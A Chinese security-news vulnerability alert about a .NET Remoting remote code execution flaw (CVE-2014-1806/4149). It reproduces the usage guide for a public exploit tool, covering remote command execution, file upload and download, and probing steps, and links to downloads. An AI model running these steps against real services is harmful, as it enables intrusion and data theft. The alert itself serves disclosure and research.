漏洞预警:.NET远程代码执行漏洞(含EXP)

 

漏洞预警:.NET远程代码执行漏洞(含EXP) – FreeBuf.COM | 关注黑客与极客

就在上周微软宣布.NET开源的好消息,其内容涉及.NET Framework Libraries、.NET Core Framework Libraries 和 RyuJit VM,允许开发者编写运行于Mac OS X和Linux 的 .NET 程序。应用程序开发者们笑了,这没什么……关键是安全研究者们也笑了。就在这两天,.NET被曝远程代码执行漏洞。

关于漏洞发现者

14162979045942

漏洞预警:.NET远程代码执行漏洞(含EXP) – FreeBuf.COM | 关注黑客与极客

这是一位来自英国的安全研究者的最新研究成果,他本人之前还发现了Windows8.1预览版漏洞,为此微软官方已经支付了他的10万美刀的奖励。

我们可以称之福肖先生(Mr Forshaw),今年34岁,住在伦敦,在某次对Mr Forshaw采访中他说:

“我总共研究过程大约花费了三个半周。我想出很多方法,终有一个成功了!在漏洞挖掘领域,我有超过10年的经验。因此从最初的构思,到最终将漏洞发送给微软,我仅花费了两周时间。”

.NET远程代码执行漏洞EXP

以下内容提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

ExploitRemotingService (c) 2014 James Forshaw
=============================================
 这是一款漏洞利用工具,可以远程执行.NET服务,相关漏洞是CVE-2014-1806或CVE-2014-4149
 它只在Windows下面有用,尽管有些方面也许可以在*nix的Mono上面运行
 使用说明:
===================
 
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014

URI:

下面是一些提供支持的URI:

tcp://host:port/ObjName   - TCP connection on host and portname
ipc://channel/ObjName     - Named pipe channel

选项:

  -s, --secure               Enable secure mode
  -p, --port=VALUE           Specify the local TCP port to listen on
  -i, --ipc=VALUE            Specify listening pipe name for IPC channel
      --user=VALUE           Specify username for secure mode
      --pass=VALUE           Specify password for secure mode
      --ver=VALUE            Specify version number for remote, 2 or 4
      --usecom               Use DCOM backchannel instead of .NET remoting
      --remname=VALUE        Specify the remote object name to register
  -v, --verbose              Enable verbose debug output
      --useser               Uses old serialization tricks, only works on
                             full type filter services
  -h, -?, --help

命令:

exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd  cmdline                  : Execute a command line process and display stdou
t
put  localfile remotefile     : Upload a file to the hosting server
get  remotefile localfile     : Download a file from the hosting server
ls   remotedir                : List a remote directory
run  file [args]              : Upload and execute an assembly, calls entry point
user                          : Print the current username
ver                           : Print the OS version

该工具支持利用TCP远程服务和当地IPC服务,用来进行利用测试时你必须知道.NET远程服务和监听(TCP)的端口的名称,或命名管道(IPC)的名称。这些通常可以在服务器或客户端代码中找到,寻找诸如下面的调用:

RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance

然后你可以试着通过构造一个合适的URL来利用。如果是TCP,你可以使用这种URL格式

tcp://hostname:port/ServiceName.

如果是IPC则使用

ipc://NamedPipeName/ServiceName.

我们来做一个简单的测试:

ExploitRemotingService SERVICEURL ver

如果成功的话,它应该打印出托管.NET服务的操作系统版本。单丝如果
你得到一个异常的话,则可能是基于cve – 2014 – 1806的漏洞被修复啦。如果真是那样的话,此时你试一下COM版本使用方法:

ExploitRemotingService -usecom SERVICEURL ver

本地工作最好不过,但是如果你有能力修改COM配置、禁用防火墙就可以远程工作。如果仍然不凑效,那么它可能是一个最新版本的服务器了。嗯哼,你依然可以把所有序列化版本使用方法都试一遍。为此远程服务必须启用完整typefilter模式(这是一些,尤其是IPC服务)

ExploitRemotingService -useser SERVICEURL ls c:\

资源Github上可查: https://github.com/tyranid/ExploitRemotingService

利用的数据库镜像: http://www.exploit-db.com/sploits/35280.zip

漏洞预警:.NET远程代码执行漏洞(含EXP):等您发表观点!

发表评论


快捷键:Ctrl+Enter